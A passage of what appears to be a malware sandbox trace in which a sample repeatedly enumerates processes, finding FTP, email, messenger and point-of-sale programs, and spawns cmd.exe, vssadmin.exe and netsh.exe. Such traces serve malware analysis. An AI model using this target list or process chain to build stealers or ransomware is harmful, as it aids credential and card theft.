lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0100.157] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0100.157] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0100.158] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0100.158] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0100.159] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0100.160] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0100.161] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0100.162] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0100.163] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0100.164] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0100.165] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0100.166] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0100.166] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0100.167] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0100.168] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0100.169] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0100.170] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0100.171] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0100.172] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0100.173] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0100.173] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0100.174] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0100.175] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0100.176] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0100.177] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0100.178] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0100.178] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0100.179] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0100.180] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0100.181] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0100.182] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0100.183] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0100.183] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0100.184] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0100.185] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0100.186] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0100.186] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0100.187] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0100.188] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0100.189] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0100.189] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0100.190] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0100.192] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0100.193] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.194] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.194] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.195] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0100.196] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.197] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0100.197] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0100.198] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0100.199] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.200] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.200] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.201] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0100.201] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0100.202] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.203] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.203] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.204] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.204] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0100.205] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0100.206] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0100.206] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0100.207] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1308, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0100.207] CloseHandle (hObject=0x224) returned 1 [0100.207] Sleep (dwMilliseconds=0x1f4) [0100.714] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0100.723] Process32FirstW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.723] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.724] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.724] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.725] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.726] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.726] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.727] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.727] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.728] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.729] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.730] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0100.730] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.731] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.732] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.732] Process32NextW (in: hSnapshot=0x224, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, 